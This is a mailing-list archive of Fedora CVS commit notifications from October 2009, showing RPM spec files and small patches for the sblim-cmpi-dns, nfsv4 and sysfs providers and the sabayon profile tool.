From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Fri, 23 Oct 2009 08:32:29 +0000 (UTC)
Subject: rpms/sblim-cmpi-dns/F-12 sblim-cmpi-dns-0.5.2-include.patch, 1.1,
	1.2 sblim-cmpi-dns.spec, 1.1, 1.2
Message-ID: <20091023083229.8118411C01EA@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cmpi-dns/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10607

Modified Files:
	sblim-cmpi-dns-0.5.2-include.patch sblim-cmpi-dns.spec 
Log Message:
fix include patch

sblim-cmpi-dns-0.5.2-include.patch:
 Linux_DnsMasterZone/Linux_DnsMasterZoneResourceAccess.cpp |    1 +
 support/smt_dns_array.cpp                                 |    3 +++
 2 files changed, 4 insertions(+)

Index: sblim-cmpi-dns-0.5.2-include.patch
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-dns/F-12/sblim-cmpi-dns-0.5.2-include.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sblim-cmpi-dns-0.5.2-include.patch	22 Oct 2009 11:48:43 -0000	1.1
+++ sblim-cmpi-dns-0.5.2-include.patch	23 Oct 2009 08:32:29 -0000	1.2
@@ -1,6 +1,17 @@
-diff -up sblim-1/sblim-cmpi-dns-0.5.2/provider/support/smt_dns_array.cpp_old sblim-1/sblim-cmpi-dns-0.5.2/provider/support/smt_dns_array.cpp
+diff -up sblim-cmpi-dns-0.5.2/provider/Linux_DnsMasterZone/Linux_DnsMasterZoneResourceAccess.cpp_old sblim-cmpi-dns-0.5.2/provider/Linux_DnsMasterZone/Linux_DnsMasterZoneResourceAccess.cpp
+--- sblim-cmpi-dns-0.5.2/provider/Linux_DnsMasterZone/Linux_DnsMasterZoneResourceAccess.cpp_old	2007-08-27 10:18:23.000000000 +0200
++++ sblim-cmpi-dns-0.5.2/provider/Linux_DnsMasterZone/Linux_DnsMasterZoneResourceAccess.cpp	2009-10-22 17:28:38.000000000 +0200
+@@ -25,6 +25,7 @@
+ #include "Linux_DnsMasterZoneResourceAccess.h"
+ 
+ #include <iostream>
++#include <cstdio>
+ 
+ using namespace std;
+ 
+diff -up sblim-cmpi-dns-0.5.2/provider/support/smt_dns_array.cpp_old sblim-cmpi-dns-0.5.2/provider/support/smt_dns_array.cpp
 --- sblim-cmpi-dns-0.5.2/provider/support/smt_dns_array.cpp_old	2005-10-18 14:13:45.000000000 +0200
-+++ sblim-cmpi-dns-0.5.2/provider/support/smt_dns_array.cpp	2009-02-16 16:32:31.000000000 +0100
++++ sblim-cmpi-dns-0.5.2/provider/support/smt_dns_array.cpp	2009-10-22 17:27:43.000000000 +0200
 @@ -18,6 +18,9 @@
  #include <string>
  #include <list>


Index: sblim-cmpi-dns.spec
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-dns/F-12/sblim-cmpi-dns.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sblim-cmpi-dns.spec	22 Oct 2009 11:48:44 -0000	1.1
+++ sblim-cmpi-dns.spec	23 Oct 2009 08:32:29 -0000	1.2
@@ -3,7 +3,7 @@
 
 Name:           sblim-cmpi-dns
 Version:        0.5.2
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        SBLIM WBEM-SMT Dns
 
 Group:          Applications/System
@@ -155,5 +155,8 @@ fi
 rm -rf $RPM_BUILD_ROOT
 
 %changelog
+* Thu Oct 22 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 0.5.2-2
+- Fix "include" patch
+
 * Thu Oct 15 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 0.5.2-1
 - Initial support



From vcrhonek at fedoraproject.org  Fri Oct 23 08:46:48 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Fri, 23 Oct 2009 08:46:48 +0000 (UTC)
Subject: rpms/sblim-cmpi-nfsv4/devel import.log, NONE,
	1.1 sblim-cmpi-nfsv4.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091023084648.4EADC11C01EA@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cmpi-nfsv4/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13694/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log sblim-cmpi-nfsv4.spec 
Log Message:
Initial import (#503482).


--- NEW FILE import.log ---
sblim-cmpi-nfsv4-1_0_12-1_fc10:HEAD:sblim-cmpi-nfsv4-1.0.12-1.fc10.src.rpm:1256287590


--- NEW FILE sblim-cmpi-nfsv4.spec ---
%define provider_dir %{_libdir}/cmpi
%define tog_pegasus_version 2:2.5.1

Name:           sblim-cmpi-nfsv4
Summary:        SBLIM nfsv4 instrumentation
Version:        1.0.12
Release:        1%{?dist}
License:        CPL
Group:          Applications/System
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
URL:            http://sourceforge.net/projects/sblim/
Source0:        http://downloads.sourceforge.net/project/sblim/%{name}/%{version}/%{name}-%{version}.tar.bz2

BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
BuildRequires:  sblim-cmpi-base-devel
Requires:       tog-pegasus >= %{tog_pegasus_version}
Requires:       sblim-cmpi-base
Requires:       /etc/ld.so.conf.d
Requires(post): /sbin/ldconfig
Requires(postun): /sbin/ldconfig

%description
Standards Based Linux Instrumentation Nfsv4 Providers

%package devel
# ^- currently a placeholder - no devel files shipped
Summary:        SBLIM Nfsv4 Instrumentation Header Development Files
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}
Requires:       tog-pegasus

%description devel
SBLIM Base Nfsv4 Development Package

%package test
Summary:        SBLIM Nfsv4 Instrumentation Testcases
Group:          Applications/System
Requires:       %{name} = %{version}-%{release}
Requires:       sblim-testsuite
Requires:       tog-pegasus

%description test
SBLIM Base Fsvol Testcase Files for SBLIM Testsuite

%prep
%setup -q

%build
%ifarch s390 s390x ppc ppc64
export CFLAGS="$RPM_OPT_FLAGS -fsigned-char"
%else
export CFLAGS="$RPM_OPT_FLAGS" 
%endif
%configure \
        TESTSUITEDIR=%{_datadir}/sblim-testsuite \
        CIMSERVER=pegasus \
        PROVIDERDIR=%{provider_dir}
sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
make

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a
rm -f $RPM_BUILD_ROOT/%{provider_dir}/*a
# shared libraries
mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d
echo "%{_libdir}/cmpi" > $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf
mv $RPM_BUILD_ROOT/%{_libdir}/libLinux_NFSv4SystemConfigurationUtil.so $RPM_BUILD_ROOT/%{provider_dir}

%files
%defattr(-,root,root,0755)
%dir %{provider_dir}
%{provider_dir}/libLinux_NFSv4*
%{_datadir}/%{name}
%docdir %{_datadir}/doc/%{name}-%{version}
%{_datadir}/doc/%{name}-%{version}
%config(noreplace) %{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%files test
%defattr(-,root,root,0755)
%{_datadir}/sblim-testsuite/sblim-cmpi-nfsv4-test.sh
%{_datadir}/sblim-testsuite/exports.nfsv4
%{_datadir}/sblim-testsuite/cim/Linux_NFSv4*
%{_datadir}/sblim-testsuite/system/linux/Linux_NFSv4*

%define NFSV4_SCHEMA %{_datadir}/sblim-cmpi-nfsv4/Linux_NFSv4SystemSetting.mof %{_datadir}/sblim-cmpi-nfsv4/Linux_NFSv4SystemConfiguration.mof
%define NFSV4_REGISTRATION %{_datadir}/sblim-cmpi-nfsv4/Linux_NFSv4SystemConfiguration.registration %{_datadir}/sblim-cmpi-nfsv4/Linux_NFSv4SystemSetting.registration

%pre
# If upgrading, deregister old version
if [ $1 -gt 1 ]; then
  %{_datadir}/%{name}/provider-register.sh -d \
  -t pegasus -r %{NFSV4_REGISTRATION} -m %{NFSV4_SCHEMA} > /dev/null 2>&1 || :;
fi

%post
/sbin/ldconfig
if [ $1 -ge 1 ]; then
# Register Schema and Provider - this is higly provider specific
  %{_datadir}/%{name}/provider-register.sh \
  -t pegasus -r %{NFSV4_REGISTRATION} -m %{NFSV4_SCHEMA} > /dev/null 2>&1 || :;
fi;

%preun
# Deregister only if not upgrading 
if [ $1 -eq 0 ]; then
  %{_datadir}/%{name}/provider-register.sh -d \
  -t pegasus -r %{NFSV4_REGISTRATION} -m %{NFSV4_SCHEMA} > /dev/null 2>&1 || :;
fi

%postun -p /sbin/ldconfig

%clean
rm -rf $RPM_BUILD_ROOT

%changelog
* Wed Oct 14 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 1.0.12-1
- Initial support


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-nfsv4/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:44:33 -0000	1.1
+++ .cvsignore	23 Oct 2009 08:46:48 -0000	1.2
@@ -0,0 +1 @@
+sblim-cmpi-nfsv4-1.0.12.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-nfsv4/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:44:33 -0000	1.1
+++ sources	23 Oct 2009 08:46:48 -0000	1.2
@@ -0,0 +1 @@
+6f4370a39f3d777d554183fb09e93ddc  sblim-cmpi-nfsv4-1.0.12.tar.bz2



From vcrhonek at fedoraproject.org  Fri Oct 23 08:53:12 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Fri, 23 Oct 2009 08:53:12 +0000 (UTC)
Subject: rpms/sblim-cmpi-nfsv4/F-12 sblim-cmpi-nfsv4.spec, NONE, 1.1 sources,
	1.1, 1.2
Message-ID: <20091023085312.3F61211C01EA@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cmpi-nfsv4/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15199

Modified Files:
	sources 
Added Files:
	sblim-cmpi-nfsv4.spec 
Log Message:
Initial commit


--- NEW FILE sblim-cmpi-nfsv4.spec ---
%define provider_dir %{_libdir}/cmpi
%define tog_pegasus_version 2:2.5.1

Name:           sblim-cmpi-nfsv4
Summary:        SBLIM nfsv4 instrumentation
Version:        1.0.12
Release:        1%{?dist}
License:        CPL
Group:          Applications/System
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
URL:            http://sourceforge.net/projects/sblim/
Source0:        http://downloads.sourceforge.net/project/sblim/%{name}/%{version}/%{name}-%{version}.tar.bz2

BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
BuildRequires:  sblim-cmpi-base-devel
Requires:       tog-pegasus >= %{tog_pegasus_version}
Requires:       sblim-cmpi-base
Requires:       /etc/ld.so.conf.d
Requires(post): /sbin/ldconfig
Requires(postun): /sbin/ldconfig

%description
Standards Based Linux Instrumentation Nfsv4 Providers

%package devel
# ^- currently a placeholder - no devel files shipped
Summary:        SBLIM Nfsv4 Instrumentation Header Development Files
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}
Requires:       tog-pegasus

%description devel
SBLIM Base Nfsv4 Development Package

%package test
Summary:        SBLIM Nfsv4 Instrumentation Testcases
Group:          Applications/System
Requires:       %{name} = %{version}-%{release}
Requires:       sblim-testsuite
Requires:       tog-pegasus

%description test
SBLIM Base Fsvol Testcase Files for SBLIM Testsuite

%prep
%setup -q

%build
%ifarch s390 s390x ppc ppc64
export CFLAGS="$RPM_OPT_FLAGS -fsigned-char"
%else
export CFLAGS="$RPM_OPT_FLAGS" 
%endif
%configure \
        TESTSUITEDIR=%{_datadir}/sblim-testsuite \
        CIMSERVER=pegasus \
        PROVIDERDIR=%{provider_dir}
sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
make

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a
rm -f $RPM_BUILD_ROOT/%{provider_dir}/*a
# shared libraries
mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d
echo "%{_libdir}/cmpi" > $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf
mv $RPM_BUILD_ROOT/%{_libdir}/libLinux_NFSv4SystemConfigurationUtil.so $RPM_BUILD_ROOT/%{provider_dir}

%files
%defattr(-,root,root,0755)
%dir %{provider_dir}
%{provider_dir}/libLinux_NFSv4*
%{_datadir}/%{name}
%docdir %{_datadir}/doc/%{name}-%{version}
%{_datadir}/doc/%{name}-%{version}
%config(noreplace) %{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%files test
%defattr(-,root,root,0755)
%{_datadir}/sblim-testsuite/sblim-cmpi-nfsv4-test.sh
%{_datadir}/sblim-testsuite/exports.nfsv4
%{_datadir}/sblim-testsuite/cim/Linux_NFSv4*
%{_datadir}/sblim-testsuite/system/linux/Linux_NFSv4*

%define NFSV4_SCHEMA %{_datadir}/sblim-cmpi-nfsv4/Linux_NFSv4SystemSetting.mof %{_datadir}/sblim-cmpi-nfsv4/Linux_NFSv4SystemConfiguration.mof
%define NFSV4_REGISTRATION %{_datadir}/sblim-cmpi-nfsv4/Linux_NFSv4SystemConfiguration.registration %{_datadir}/sblim-cmpi-nfsv4/Linux_NFSv4SystemSetting.registration

%pre
# If upgrading, deregister old version
if [ $1 -gt 1 ]; then
  %{_datadir}/%{name}/provider-register.sh -d \
  -t pegasus -r %{NFSV4_REGISTRATION} -m %{NFSV4_SCHEMA} > /dev/null 2>&1 || :;
fi

%post
/sbin/ldconfig
if [ $1 -ge 1 ]; then
# Register Schema and Provider - this is higly provider specific
  %{_datadir}/%{name}/provider-register.sh \
  -t pegasus -r %{NFSV4_REGISTRATION} -m %{NFSV4_SCHEMA} > /dev/null 2>&1 || :;
fi;

%preun
# Deregister only if not upgrading 
if [ $1 -eq 0 ]; then
  %{_datadir}/%{name}/provider-register.sh -d \
  -t pegasus -r %{NFSV4_REGISTRATION} -m %{NFSV4_SCHEMA} > /dev/null 2>&1 || :;
fi

%postun -p /sbin/ldconfig

%clean
rm -rf $RPM_BUILD_ROOT

%changelog
* Wed Oct 14 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 1.0.12-1
- Initial support


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-nfsv4/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:44:33 -0000	1.1
+++ sources	23 Oct 2009 08:53:12 -0000	1.2
@@ -0,0 +1 @@
+6f4370a39f3d777d554183fb09e93ddc  sblim-cmpi-nfsv4-1.0.12.tar.bz2



From vcrhonek at fedoraproject.org  Fri Oct 23 08:55:34 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Fri, 23 Oct 2009 08:55:34 +0000 (UTC)
Subject: rpms/sblim-cmpi-sysfs/devel import.log, NONE,
	1.1 sblim-cmpi-sysfs.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091023085534.2486411C01EA@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cmpi-sysfs/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15953/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log sblim-cmpi-sysfs.spec 
Log Message:
Initial import (#503510).


--- NEW FILE import.log ---
sblim-cmpi-sysfs-1_1_9-1_fc10:HEAD:sblim-cmpi-sysfs-1.1.9-1.fc10.src.rpm:1256288113


--- NEW FILE sblim-cmpi-sysfs.spec ---
%define tog_pegasus_version 2:2.6.1-1
%define provider_dir %{_libdir}/cmpi

Name:           sblim-cmpi-sysfs
Version:        1.1.9
Release:        1%{?dist}
Summary:        SBLIM sysfs instrumentation

Group:          Applications/System
License:        CPL
URL:            http://sblim.wiki.sourceforge.net/
Source0:        http://downloads.sourceforge.net/sblim/%{name}-%{version}.tar.bz2
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
BuildRequires:  sblim-cmpi-base-devel
Requires:       tog-pegasus >= %{tog_pegasus_version}
Requires:       sblim-cmpi-base

%description
Standards Based Linux Instrumentation Sysfs Providers

%package        test
Summary:        SBLIM Sysfs Instrumentation Testcases
Group:          Applications/System
Requires:       sblim-cmpi-sysfs = %{version}-%{release}
Requires:       sblim-testsuite
Requires:       tog-pegasus

%description test
SBLIM Base Params Testcase Files for SBLIM Testsuite

%prep
%setup -q
sed -ri 's,-type d -maxdepth 1 -mindepth 1,-maxdepth 1 -mindepth 1 -type d,g' \
        ./test/system/linux/*.{sh,system}


%build
%ifarch s390 s390x ppc ppc64
export CFLAGS="$RPM_OPT_FLAGS -fsigned-char"
%else
export CFLAGS="$RPM_OPT_FLAGS"
%endif

%configure \
        TESTSUITEDIR=%{_datadir}/sblim-testsuite \
        CIMSERVER=pegasus \
        PROVIDERDIR=%{provider_dir}
sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
make


%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a
rm -f $RPM_BUILD_ROOT/%{provider_dir}/*a
# shared libraries
mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d
echo "%{_libdir}/cmpi" > $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf
mv $RPM_BUILD_ROOT/%{_libdir}/libLinux_SysfsAttributeUtil.so $RPM_BUILD_ROOT/%{provider_dir}
mv $RPM_BUILD_ROOT/%{_libdir}/libLinux_SysfsDeviceUtil.so $RPM_BUILD_ROOT/%{provider_dir}

%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,0755)
%dir %{provider_dir}
%{provider_dir}/libLinux_Sysfs*
%{_datadir}/sblim-cmpi-sysfs
%docdir %{_datadir}/doc/sblim-cmpi-sysfs-%{version}
%{_datadir}/doc/sblim-cmpi-sysfs-%{version}
%config(noreplace) %{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf


%files test
%defattr(-,root,root,0755)
%{_datadir}/sblim-testsuite/sblim-cmpi-sysfs-test.sh
%{_datadir}/sblim-testsuite/cim/Linux_Sysfs*
%{_datadir}/sblim-testsuite/system/linux/Linux_Sysfs*


%define SYSFS_SCHEMA %{_datadir}/%{name}/Linux_SysfsAttribute.mof %{_datadir}/%{name}/Linux_SysfsBlockDevice.mof %{_datadir}/%{name}/Linux_SysfsBusDevice.mof %{_datadir}/%{name}/Linux_SysfsInputDevice.mof %{_datadir}/%{name}/Linux_SysfsNetworkDevice.mof %{_datadir}/%{name}/Linux_SysfsSCSIDevice.mof %{_datadir}/%{name}/Linux_SysfsSCSIHostDevice.mof %{_datadir}/%{name}/Linux_SysfsTTYDevice.mof
%define SYSFS_REGISTRATION %{_datadir}/%{name}/Linux_SysfsAttribute.registration %{_datadir}/%{name}/Linux_SysfsBlockDevice.registration %{_datadir}/%{name}/Linux_SysfsBusDevice.registration %{_datadir}/%{name}/Linux_SysfsInputDevice.registration %{_datadir}/%{name}/Linux_SysfsNetworkDevice.registration %{_datadir}/%{name}/Linux_SysfsSCSIDevice.registration %{_datadir}/%{name}/Linux_SysfsSCSIHostDevice.registration %{_datadir}/%{name}/Linux_SysfsTTYDevice.registration

%pre
if [ $1 -gt 1 ]; then
  %{_datadir}/%{name}/provider-register.sh -d \
        -t pegasus -r %{SYSFS_REGISTRATION} -m %{SYSFS_SCHEMA} > /dev/null 2>&1 || :;
fi

%post
/sbin/ldconfig
if [ $1 -ge 1 ]; then
   %{_datadir}/%{name}/provider-register.sh \
   -t pegasus -r %{SYSFS_REGISTRATION} -m %{SYSFS_SCHEMA} > /dev/null 2>&1 || :;
fi

%preun
if [ $1 -eq 0 ]; then
   %{_datadir}/%{name}/provider-register.sh -d \
   -t pegasus -r %{SYSFS_REGISTRATION} -m %{SYSFS_SCHEMA} > /dev/null 2>&1 || :;
fi

%postun -p /sbin/ldconfig


%changelog
* Wed Oct 14 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 1.1.9-1
- Initial support


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-sysfs/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:45:16 -0000	1.1
+++ .cvsignore	23 Oct 2009 08:55:33 -0000	1.2
@@ -0,0 +1 @@
+sblim-cmpi-sysfs-1.1.9.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-sysfs/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:45:16 -0000	1.1
+++ sources	23 Oct 2009 08:55:33 -0000	1.2
@@ -0,0 +1 @@
+e8a362e6ed4020df2a97191b1d18fe59  sblim-cmpi-sysfs-1.1.9.tar.bz2



From tbzatek at fedoraproject.org  Fri Oct 23 09:40:44 2009
From: tbzatek at fedoraproject.org (Tomas Bzatek)
Date: Fri, 23 Oct 2009 09:40:44 +0000 (UTC)
Subject: rpms/sabayon/F-12 sabayon.spec,1.64,1.65 selinux.patch,1.2,1.3
Message-ID: <20091023094044.9E71A11C02A2@cvs1.fedora.phx.redhat.com>

Author: tbzatek

Update of /cvs/extras/rpms/sabayon/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27623

Modified Files:
	sabayon.spec selinux.patch 
Log Message:
* Fri Oct 23 2009 Dan Walsh <dwalsh at redhat.com> - 2.28.0-2
- Move errors to sabayon-apply package
- Only trap Exception on sabayon-apply error



Index: sabayon.spec
===================================================================
RCS file: /cvs/extras/rpms/sabayon/F-12/sabayon.spec,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- sabayon.spec	22 Sep 2009 08:37:24 -0000	1.64
+++ sabayon.spec	23 Oct 2009 09:40:44 -0000	1.65
@@ -8,7 +8,7 @@
 
 Name:    sabayon
 Version: 2.28.0
-Release: 1%{?dist}
+Release: 2%{?dist}
 Summary: Tool to maintain user profiles in a GNOME desktop
 
 Group:   Applications/System
@@ -194,6 +194,9 @@ fi
 %{python_sitearch}/%{name}/debuglog.py
 %{python_sitearch}/%{name}/debuglog.pyc
 %ghost %{python_sitearch}/%{name}/debuglog.pyo
+%{python_sitearch}/%{name}/errors.py
+%{python_sitearch}/%{name}/errors.pyc
+%ghost %{python_sitearch}/%{name}/errors.pyo
 
 %dir %{python_sitearch}/%{name}/sources
 %{python_sitearch}/%{name}/sources/*.py
@@ -259,9 +262,6 @@ fi
 %{python_sitearch}/%{name}/lockdownappliersabayon.py
 %{python_sitearch}/%{name}/lockdownappliersabayon.pyc
 %ghost %{python_sitearch}/%{name}/lockdownappliersabayon.pyo
-%{python_sitearch}/%{name}/errors.py
-%{python_sitearch}/%{name}/errors.pyc
-%ghost %{python_sitearch}/%{name}/errors.pyo
 
 %dir %{python_sitearch}/%{name}/lockdown
 %{python_sitearch}/%{name}/lockdown/*.py
@@ -269,6 +269,10 @@ fi
 %ghost %{python_sitearch}/%{name}/lockdown/*.pyo
 
 %changelog
+* Fri Oct 23 2009 Dan Walsh <dwalsh at redhat.com> - 2.28.0-2
+- Move errors to sabayon-apply package
+- Only trap Exception on sabayon-apply error
+
 * Tue Sep 22 2009 Tomas Bzatek <tbzatek at redhat.com> - 2.28.0-1
 - Update to 2.28.0
 

selinux.patch:
 sabayon-2.22.0/admin-tool/profilesdialog.py |    6 ++++++
 sabayon-2.22.0/lib/userdb.py                |    6 ++++++
 sabayon-2.28.0/admin-tool/sabayon-apply     |    2 +-
 3 files changed, 13 insertions(+), 1 deletion(-)

Index: selinux.patch
===================================================================
RCS file: /cvs/extras/rpms/sabayon/F-12/selinux.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- selinux.patch	12 Mar 2008 01:11:35 -0000	1.2
+++ selinux.patch	23 Oct 2009 09:40:44 -0000	1.3
@@ -44,3 +44,15 @@ diff -up sabayon-2.22.0/lib/userdb.py.se
          self.modified = 0
  
      def set_default_profile (self, profile):
+diff -up sabayon-2.28.0/admin-tool/sabayon-apply~ sabayon-2.28.0/admin-tool/sabayon-apply
+--- sabayon-2.28.0/admin-tool/sabayon-apply~	2009-09-21 16:12:03.000000000 -0400
++++ sabayon-2.28.0/admin-tool/sabayon-apply	2009-10-22 16:23:21.000000000 -0400
+@@ -115,7 +115,7 @@ if __name__ == '__main__':
+ 
+         if errors.errors_have_recoverable_error ():
+             mprint ("There were recoverable errors while applying the profile.")
+-    except:
++    except Exception:
+         errors.errors_exit_with_fatal_exception (debuglog.DEBUG_LOG_DOMAIN_SABAYON_APPLY,
+                                                  util.get_admin_log_config_filename ())
+ 



From vcrhonek at fedoraproject.org  Fri Oct 23 09:41:37 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Fri, 23 Oct 2009 09:41:37 +0000 (UTC)
Subject: rpms/sblim-cmpi-sysfs/F-12 sblim-cmpi-sysfs.spec, NONE, 1.1 sources,
	1.1, 1.2
Message-ID: <20091023094137.A0BB911C01EA@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cmpi-sysfs/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27824

Modified Files:
	sources 
Added Files:
	sblim-cmpi-sysfs.spec 
Log Message:
Initial commit


--- NEW FILE sblim-cmpi-sysfs.spec ---
%define tog_pegasus_version 2:2.6.1-1
%define provider_dir %{_libdir}/cmpi

Name:           sblim-cmpi-sysfs
Version:        1.1.9
Release:        1%{?dist}
Summary:        SBLIM sysfs instrumentation

Group:          Applications/System
License:        CPL
URL:            http://sblim.wiki.sourceforge.net/
Source0:        http://downloads.sourceforge.net/sblim/%{name}-%{version}.tar.bz2
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
BuildRequires:  sblim-cmpi-base-devel
Requires:       tog-pegasus >= %{tog_pegasus_version}
Requires:       sblim-cmpi-base

%description
Standards Based Linux Instrumentation Sysfs Providers

%package        test
Summary:        SBLIM Sysfs Instrumentation Testcases
Group:          Applications/System
Requires:       sblim-cmpi-sysfs = %{version}-%{release}
Requires:       sblim-testsuite
Requires:       tog-pegasus

%description test
SBLIM Base Params Testcase Files for SBLIM Testsuite

%prep
%setup -q
sed -ri 's,-type d -maxdepth 1 -mindepth 1,-maxdepth 1 -mindepth 1 -type d,g' \
        ./test/system/linux/*.{sh,system}


%build
%ifarch s390 s390x ppc ppc64
export CFLAGS="$RPM_OPT_FLAGS -fsigned-char"
%else
export CFLAGS="$RPM_OPT_FLAGS"
%endif

%configure \
        TESTSUITEDIR=%{_datadir}/sblim-testsuite \
        CIMSERVER=pegasus \
        PROVIDERDIR=%{provider_dir}
sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
make


%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a
rm -f $RPM_BUILD_ROOT/%{provider_dir}/*a
# shared libraries
mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d
echo "%{_libdir}/cmpi" > $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf
mv $RPM_BUILD_ROOT/%{_libdir}/libLinux_SysfsAttributeUtil.so $RPM_BUILD_ROOT/%{provider_dir}
mv $RPM_BUILD_ROOT/%{_libdir}/libLinux_SysfsDeviceUtil.so $RPM_BUILD_ROOT/%{provider_dir}

%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,0755)
%dir %{provider_dir}
%{provider_dir}/libLinux_Sysfs*
%{_datadir}/sblim-cmpi-sysfs
%docdir %{_datadir}/doc/sblim-cmpi-sysfs-%{version}
%{_datadir}/doc/sblim-cmpi-sysfs-%{version}
%config(noreplace) %{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf


%files test
%defattr(-,root,root,0755)
%{_datadir}/sblim-testsuite/sblim-cmpi-sysfs-test.sh
%{_datadir}/sblim-testsuite/cim/Linux_Sysfs*
%{_datadir}/sblim-testsuite/system/linux/Linux_Sysfs*


